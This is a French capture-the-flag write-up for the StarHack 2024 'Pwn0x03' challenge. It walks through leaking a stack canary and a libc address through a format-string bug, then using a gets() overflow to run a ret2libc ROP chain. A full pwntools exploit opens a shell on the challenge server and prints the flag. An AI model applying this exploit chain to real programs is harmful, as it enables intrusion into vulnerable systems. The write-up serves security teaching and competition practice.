Pwn0x03
Flag: StarHack{fms_bUG5_ar3_mY_favorites_wh4t_ab0ut_y0u?ASDSAKDASDKASFFDSASDFSA}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Le binaire n'est composรฉ que de sa fonction main
:
int main(void) {
long in_FS_OFFSET;
char secret [0x40];
char identity [0x58];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
init_buffering();
puts("----------------------------");
puts("-- Secret storage service --");
puts("----------------------------");
puts("Identify your self : ");
printf(" > ");
read(0x0,identity,0x50);
printf("Welcome : ");
printf(identity);
puts("----------------------------");
printf("type your secret : ");
gets(secret);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) __stack_chk_fail();
return 0;
}
La vulnรฉrabilitรฉ rรฉside dans 2 choses :
ligne 16 :
printf
permet d'envoyer une chaรฎne contenant du formatage et ainsi de leak des donnรฉes en mรฉmoireligne 20 :
gets
ne vรฉrifie pas la longueur de notre input, on peut donc faire un BufferOverflow
โโโ(kaliใฟkali)-[~/StarHack 2024/pwn0x03]
โโ$ checksec task
[*] '/StarHack 2024/pwn0x03/task'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Le binaire ร toutes les protections activรฉes :
RELRO (Relocation Read-Only) est une protection qui rend la table GOT en lecture seule, empรชchant ainsi les attaques de modification dโadresses de fonctions.
Canary est une valeur alรฉatoire placรฉe avant le retour de pile pour dรฉtecter et empรชcher les dรฉbordements de tampon.
NX (No-eXecute) est une protection qui marque certaines zones mรฉmoire comme non exรฉcutables, empรชchant l'exรฉcution de code injectรฉ dans la pile ou le tas.
PIE (Position-Independent Executable) est une protection qui charge le binaire ร une adresse alรฉatoire en mรฉmoire ร chaque exรฉcution, rendant plus difficile la prรฉdiction des adresses pour les attaques dโexploitation.
En sachant qu'on nous donne le fichier de la libc
en mรชme temps, c'est assez clair :
Se servir de
printf
pour leak lecanary
pour le remettre ร la bonne place aprรจs notre BoF.Se servir de
printf
pour leak l'adresse de lalibc
.Faire une
ropchain
pour lancer un shell depuis lalibc
grรขce รsystem
ouexecve
.
Patch du binaire
Pour utiliser la librairie fournie et รฉviter les problรจmes de compatibilitรฉ, il faut patcher notre binaire. Pour รงa, j'utilise pwninit. Le tool nรฉcessite patchelf mais absolument rien de compliquรฉ ร installer.
Il suffit de mettre notre binaire et notre librairie dans le mรชme dossier, puis on lance simplement
โโโ(kaliใฟkali)-[~/StarHack 2024/pwn0x03]
โโ$ ls -al 127 โจฏ
total 2012
drwxr-xr-x 2 kali kali 4096 Nov 10 07:15 .
drwxr-xr-x 4 kali kali 4096 Nov 10 00:18 ..
-rw------- 1 kali kali 2029592 Nov 10 00:17 libc.so.6
-rwx--x--x 1 kali kali 14472 Nov 10 00:17 task
โโโ(kaliใฟkali)-[~/StarHack 2024/pwn0x03]
โโ$ cargo install pwninit
โโโ(kaliใฟkali)-[~/StarHack 2024/pwn0x03]
โโ$ export PATH=$PATH:~/.cargo/bin
โโโ(kaliใฟkali)-[~/StarHack 2024/pwn0x03]
โโ$ pwninit
bin: ./task
libc: ./libc.so.6
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.31-0ubuntu9.9_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9.9_amd64.deb
warning: failed unstripping libc: libc deb error: failed to find file in data.tar
setting ./ld-2.31.so executable
copying ./task to ./task_patched
running patchelf on ./task_patched
writing solve.py stub
โโโ(kaliใฟkali)-[~/StarHack 2024/pwn0x03]
โโ$ ls -al 130 โจฏ
total 2228
drwxr-xr-x 2 kali kali 4096 Nov 10 07:17 .
drwxr-xr-x 4 kali kali 4096 Nov 10 00:18 ..
-rwxr-xr-x 1 kali kali 191504 Nov 10 07:17 ld-2.31.so
-rw------- 1 kali kali 2029592 Nov 10 00:17 libc.so.6
-rwxr-xr-x 1 kali kali 432 Nov 10 07:17 solve.py
-rwx--x--x 1 kali kali 14472 Nov 10 00:17 task
-rwx--x--x 1 kali kali 20497 Nov 10 07:17 task_patched
ร partir de maintenant, on ne travaillera que sur task_patched
.
Leak des valeurs - Canary
Commenรงons par trouver le canary
dans la mรฉmoire. On va break ร 0x55555555526a
(environ ligne 8 dans notre pseudo code C), c'est-ร -dire quand il est mis dans RAX
pour voir sa valeur.
gefโค b *0x55555555526a
Breakpoint 1 at 0x55555555526a
Puisqu'on peut rentrer un maximum de 88 caractรจres dans printf
, on va lancer plusieurs fois le binaire avec des formatages diffรฉrents jusqu'ร trouver notre canary
dedans.
gefโค r
Breakpoint 1, 0x000055555555526a in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ registers โโโโ
$rax : 0xbda51d63af3c1a00
$rbx : 0x00555555555340 โ endbr64
$rcx : 0x00555555555340 โ endbr64
[...]
gefโค c
Continuing.
----------------------------
-- Secret storage service --
----------------------------
Identify your self :
> %1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p %9$p %10$p
Welcome : 0x7fffffffb670 (nil) (nil) 0xa 0xa (nil) 0x7fffffffefb8 (nil) (nil) (nil)
Ok, ici notre canary
est 0xbda51d63af3c1a00
, on ne l'a pas dans nos valeurs, on continue. Je skip de %11$p
ร %20$p
car il n'y est pas non plus...
gefโค r
Breakpoint 1, 0x000055555555526a in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ registers โโโโ
$rax : 0x4e5a7598b83abb00
$rbx : 0x00555555555340 โ endbr64
$rcx : 0x00555555555340 โ endbr64
[...]
gefโค c
Continuing.
----------------------------
-- Secret storage service --
----------------------------
Identify your self :
> %21$p %22$p %23$p %24$p %25$p %26$p %27$p %28$p %29$p %30$p
Welcome : 0x55550a702430 (nil) 0x555555555100 0x7fffffffdea0 0x4e5a7598b83abb00 (nil) 0x7ffff7df9083 0x200000021 0x7fffffffdea8 0x1f7fbd7a0
Ici notre canary
est 0x4e5a7598b83abb00
. Bingo, รงa correspond ร %25$p
! On peut dรฉsormais leak la valeur du canary
pour la replacer plus tard au bon endroit et faire croire au programme que tout va bien.
Leak des valeurs - LIBC
On va rรฉutiliser les valeurs qu'on a fait fuiter pour trouver le canary
. Toutes les valeurs du type 0x7fffff...
peuvent รชtre l'adresse d'une fonction, on va donc toutes les tester avec la commande info symbol
. (il existe d'autres faรงons de faire bien sรปr).
gefโค info symbol 0x55550a702430
No symbol matches 0x55550a702430.
gefโค info symbol 0x7fffffffb670
No symbol matches 0x7fffffffb670.
gefโค info symbol 0x7fffffffefb8
No symbol matches 0x7fffffffefb8.
gefโค info symbol 0x7fffffffdea0
No symbol matches 0x7fffffffdea0.
gefโค info symbol 0x7ffff7df9083
__libc_start_main + 243 in section .text of ./libc.so.6
Et hop ! Notre %27$p
mรจne bien vers une adresse appartenant ร la libc
. Puisque l'adresse de base de la libc
change ร chaque lancement, mais que l'offset de cette adresse qu'on a leak est toujours la mรชme par rapport ร l'adresse de base, on pourra en dรฉduire celle-ci !
gefโค vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555554000 0x00555555555000 0x00000000000000 r-- /StarHack 2024/pwn0x03/task_patched
0x00555555555000 0x00555555556000 0x00000000001000 r-x /StarHack 2024/pwn0x03/task_patched
0x00555555556000 0x00555555557000 0x00000000002000 r-- /StarHack 2024/pwn0x03/task_patched
0x00555555557000 0x00555555558000 0x00000000002000 r-- /StarHack 2024/pwn0x03/task_patched
0x00555555558000 0x0055555555b000 0x00000000003000 rw- /StarHack 2024/pwn0x03/task_patched
0x007ffff7dd5000 0x007ffff7df7000 0x00000000000000 r-- /StarHack 2024/pwn0x03/libc.so.6
0x007ffff7df7000 0x007ffff7f6f000 0x00000000022000 r-x /StarHack 2024/pwn0x03/libc.so.6
[...]
Dans notre programme, l'adresse de base est 0x007ffff7dd5000
. Nous avons leak l'adresse 0x7ffff7df9083
. Le dรฉcalage est donc de 0x7ffff7df9083 - 0x007ffff7dd5000 =
0x24083.
Ret2Libc avec ropchain
Maintenant que l'on peut dรฉduire l'adresse de la libc et le canary, place ร l'exploitation de gets
. On commence par chercher combien de caractรจres il faut mettre pour arriver au canary, pour รงa on part sur des patterns avec cyclic
et on break ร 0x55555555532d
, pendant la vรฉrification du canary pour connaรฎtre le pattern qui est dedans (c'est dans RCX qu'il faut regarder) :
gefโค b *0x55555555532d
Breakpoint 2 at 0x55555555532d
gefโค shell cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
gefโค r
----------------------------
-- Secret storage service --
----------------------------
Identify your self :
> test
Welcome : test
----------------------------
type your secret : aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Breakpoint 2, 0x000055555555532d in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ registers โโโโ
$rax : 0x0
$rbx : 0x00555555555340 โ endbr64
$rcx : 0x6261616f6261616e ("naaboaab"?)
$rdx : 0x0
[...]
gefโค shell cyclic -l "naab"
152
On voit que c'est naaboaab
qui est dans RCX
, en cherchant l'offset, on trouve 152
. Il faut donc 152
caractรจres avant d'arriver ร remplir le canary
.
Juste aprรจs le canary
se situe EBP
, il faut 8 octets et on s'en fout, donc on le remplira avec n'importe quoi.
Ensuite, ce sera RIP
, c'est lร que commence la Ropchain. Voici l'exploit au complet :
from pwn import *
p = ELF("./task_patched")
libc = ELF("./libc.so.6")
context.binary = p
def conn():
if args.LOCAL:
r = process([p.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("35.180.44.229", 1237)
return r
def main():
# C'est le dรฉcalage qui permettra de dรฉduire l'adresse de la libc cรดtรฉ serveur
local_libc_address = 0x007ffff7dd5000
local_leak_address = 0x7ffff7df9083
leak_offset = local_leak_address - local_libc_address # 0x24083
# On se connecte au serveur
r = conn()
r.recvuntil(b'> ')
# Leak du canary et de l'adresse appartenant ร la libc
r.sendline(b'%25$p %27$p')
line = r.recvline().decode().strip()
values = line.split(' : ')[1].split(' ')
canary = int(values[0], 16)
leak_address = int(values[1], 16)
# On dรฉduit l'adresse de la libc ร partir de l'adresse leak et son offset fixe
libc.address = leak_address - leak_offset
# Maintenant qu'on sait oรน est la libc, on peut dรฉduire l'adresse de tout ce qu'elle contient
# On rรฉcupรจre l'adresse de la fonction system
system_address = libc.symbols['system']
# On rรฉcupรจre la chaรฎne de caractรจre /bin/sh qui est dans la libc
bin_sh_address = next(libc.search(b'/bin/sh'))
# Construction de la ropchain
rop = ROP(libc)
# Avant d'appeler system(), il faut mettre le paramรจtre "/bin/sh" dans RDI
# Donc on cherche un gadget pop rdi; ret;
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
# On a besoin d'un ret pour aligner la stack
# Il suffira de l'appeler avant system
# Ref : https://ir0nstone.gitbook.io/notes/binexp/stack/return-oriented-programming/stack-alignment
ret = rop.find_gadget(['ret'])[0]
r.recvuntil(b'secret : ')
payload = b''.join([
b'A' * 152, # Remplissage de la mรฉmoire jusqu'au canary
p64(canary), # On remet le canary leak au bon endroit
b'B' * 8, # On rempli RBP (valeur quelconque, osef)
p64(ret), # Alignement de la stack
p64(pop_rdi), # On place /bin/sh dans RDI
p64(bin_sh_address),
p64(system_address) # Appelle de system("/bin/sh")
])
r.sendline(payload)
# On rรฉcupรจre la main sur le shell qu'on vient de crรฉer
r.interactive()
if __name__ == "__main__":
main()
โโโ(kaliใฟkali)-[~/StarHack 2024/pwn0x03]
โโ$ python3 solve.py
[*] '/StarHack 2024/pwn0x03/task_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[*] '/StarHack 2024/pwn0x03/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 35.180.44.229 on port 1237: Done
[*] Loaded 196 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
$ ls -al
total 68
drwxr-xr-x 1 root root 4096 Oct 31 01:26 .
drwxr-xr-x 1 root root 4096 Oct 18 00:32 ..
-rw-r--r-- 1 root root 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 root root 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 root root 807 Feb 25 2020 .profile
-rw-rw-r-- 1 root root 75 Oct 31 01:26 flag.txt
-rwxrwxr-x 1 root root 14472 Oct 18 00:25 task
-rwxrwxr-x 1 root root 18744 Oct 18 00:25 ynetd
$ cat flag.txt
StarHack{fms_bUG5_ar3_mY_favorites_wh4t_ab0ut_y0u?ASDSAKDASDKASFFDSASDFSA}
Derniรจre mise ร jour
Cet article vous a-t-il รฉtรฉ utile ?